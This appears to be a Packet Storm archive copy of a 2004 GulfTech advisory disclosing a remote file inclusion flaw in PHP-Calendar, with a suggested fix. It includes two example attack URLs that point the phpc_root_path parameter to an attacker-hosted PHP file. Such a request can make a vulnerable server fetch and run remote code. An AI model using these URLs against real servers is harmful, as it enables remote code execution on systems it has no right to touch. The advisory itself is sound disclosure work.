what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpcalendar.txt

phpcalendar.txt
Posted Jan 2, 2005
Authored by James Bercegay | Site gulftech.org

PHP-Calendar suffers from a file inclusion vulnerability. All versions are affected.

tags | exploit, php, file inclusion
SHA-256 | f24f9c929a06b9631a27ebe5f0b8b4cd5d75fdd417bed107a0930d8350e2200e

phpcalendar.txt

Change Mirror Download
##########################################################
# GulfTech Security Research December 28th, 2004
##########################################################
# Vendor : Sean Proctor
# URL : http://php-calendar.sourceforge.net/
# Version : All Versions
# Risk : File Include Vulnerability
##########################################################



Description:
I was searching for a decent calendar which my group at school
could use to keep track of events, etc. We were previously using
localendar, which I didn't like and it had some problems. I found
CST-Calendar which did most of what I wanted, but was rather ugly
and missed some features others in the group wanted. So, I
gradually re-wrote CST-Calendar since that project seems to have
stopped work entirely. [ As quoted from their website ]



File Include Vulnerability:
There is a very dangerous file include vulnerability in
php-calendar, and making the issue even more dangerous is that I
found out about php-calendar from an individual who said that
php-calendar is a great open source calendar to use in php projects,
and is fairly popular amongst open source php developers. This may be
true, but the vulnerabilities need to be fixed if the same conditions
apply as found in the original code. Below are example attack url's

http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/ht
ml.php
http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.
php

If php globals are set to on then it is highly probable that an
attacker will be able to include arbitrary php files and thus execute
system commands with the rights of the web server. This can be very
dangerous in some situations.


Solution:
php-calendar has a defined constant to help prevent against stuff
like this. It can be seen in other php-calendar files such as db.php

if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice
in preventing the kinds of attacks previously mentioned in this advisory.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00060-12292004



Credits:
James Bercegay of the GulfTech Security Research Team

--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.6 - Release Date: 12/28/2004


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close